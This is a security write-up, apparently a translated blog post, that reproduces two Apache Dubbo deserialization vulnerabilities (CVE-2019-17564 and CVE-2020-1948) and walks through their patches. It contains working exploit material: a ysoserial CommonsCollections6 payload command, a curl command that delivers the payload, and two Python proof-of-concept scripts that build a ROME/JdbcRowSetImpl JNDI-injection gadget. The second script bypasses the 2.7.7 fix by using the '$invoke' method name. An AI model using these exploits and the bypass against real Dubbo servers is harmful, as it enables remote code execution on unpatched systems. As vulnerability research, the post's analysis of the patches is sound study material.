Recurrence analysis of Apache Dubbo deserialization vulnerability

preface

Learn the classic vulnerabilities of Apache Dubbo series

CVE-2019-17564

0x01 version affected

  • Dubbo 2.7.0 to 2.7.4

  • Dubbo 2.6.0 to 2.6.7

  • Dubbo all 2.5.x versions

0x02 environmental preparation

https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-http Download the source code, switch the Dubbo version in pom, and find that the version with the vulnerability cannot be found. Manually download the jar package, add it, and add the exploitable dependency common collections 3 two

0x03 vulnerability analysis

After dubbo starts the http protocol, all requests through the http protocol will pass through

org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle method, so break the point here

Using ysoserial to generate payload

java -jar ysoserial.jar CommonsCollections6 
"/System/Applications/Calculator.app/Contents/MacOS/Calculator">cc6

Then send

curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @cc6

We'll find the break at our breakpoint and track down

Line 170 will find the processor according to the path we passed in. Let's take a look at this Value of skeletonmap

key corresponds to the request path, and value is an instance of HttpInvokerServiceExporter class; Then, in line 177, use the obtained processor to process the request, and call

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest

The request is then sent to

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest) method

This method passes in the request object and the serialized content we sent
org. springframework. remoting. httpinvoker. In the servlet (HTTP # invokeinput. Java)

In this method, we will first convert the serialized content we passed into ObjectInputStream type, and then pass it into org springframework. remoting. rmi. Remoteinvocationserializing exporter #doreadremoteinvocation method

In this method, the incoming

The ObjectInputStream object is deserialized, resulting in the triggering of the exploit chain

0x04 vulnerability repair

Switch Dubbo to a higher version for debugging and find it at org apache. dubbo. rpc. protocol. http. HttpProtocol. The internal handler #handle replaces the request processor HttpInvokerServiceExporter with JsonRpcServer. In subsequent processing, there is no deserialization operation

CVE-2020-1948

0x01 version affected

  • Dubbo 2.7.0 to 2.7.6

  • Dubbo 2.6.0 to 2.6.7

  • Dubbo all 2.5.x versions

0x02 vulnerability analysis

reference resources https://www.cnblogs.com/zhengjim/p/13204194.html The environment construction part of the test, refer to the online use script

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8001",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='xxx',
service_version="",
method_name='yyy',
args=[toStringBean])
print(resp)

Because the chain of ROM components is used to complete the utilization, it is directly in the ROM call chain

com. rometools. rome. feed. impl. Drop the breakpoint at tostrimbean #tostring() and send poc. After the breakpoint is broken, look up the call stack and you can see that it is caused by

org. apache. dubbo. rpc. The rpcinvocation #tostring method enters the of tostrimbean, where the arguments contain the instance of tostrimbean

Then look up and you'll find

org. apache. dubbo. rpc. protocol. dubbo. The code in the dubboprotocol #getinvoker method triggers the later utilization process, and the key point is in an exception handling

//critical code
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
} else {
return exporter.getInvoker();
}

inv is an instance of the DecodeableRpcInvocation class, which stores the above-mentioned arguments

In the process of handling exceptions, the toString method will be implicitly called, and then the subsequent utilization chain will be triggered; So let's analyze when an exception will be thrown

When the exporter is null, exception handling will be performed, that is, in this The value whose key value is servicekey cannot be found in the exportermap, where servicekey is the servicename requested by the user,

this.exporterMap is a service defined by the provider,

That is, when the service requested by the user cannot be found in the provider, the vulnerability will be triggered

0x03 patch analysis and bypass

Switch the dubbo version to 2.7.7, and then send the payload

Prompt Service not found:, search for exceptions

You can see that there is a judgment before throwing an exception, following the two methods in if


When the requested method name is i n v o k e , invoke, invoke, invokeAsync, $echo, one of which will not throw an exception, so we can modify the payload as follows

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8001",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='xxx',
service_version="",
method_name='$invoke',
args=[toStringBean])
print(resp)

https://github.com/HyCXSS/JNDIScan jndi injection request under item detection

You can see that the ldap request from the provider has been successfully received

0x04 patch fix

Switch the version to 2.7.8 and you can see that the parameter type of the calling method has been verified


The parameter type we passed in is

Lcom/rometools/rome/feed/impl/ToStringBean; Naturally, it is inconsistent, and an exception will be thrown

Reference link

https://gv7.me/articles/2020/cve-2019-17564-dubbo-http-deserialization-vulnerability/
https://l3yx.github.io/2020/08/25/Apache-Dubbo-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E7%AC%94%E8%AE%B0/
https://www.cnblogs.com/zhengjim/p/13204194.html
http://rui0.cn/archives/1338

statement

The above contents are original by the author of the article. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this article shall be borne by the user himself, and the Changbai Mountain attack and defense laboratory and the author of the article shall not bear any responsibility.

Changbai Mountain attack and defense laboratory has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must guarantee the copy of this article, including all contents such as copyright notice. It is declared that the Changbai Mountain attack and defense laboratory is allowed to modify or increase or decrease the content of this article, and it shall not be used for commercial purposes in any way.

Keywords: Java Apache rpc

Added by Griven on Thu, 10 Mar 2022 02:05:39 +0200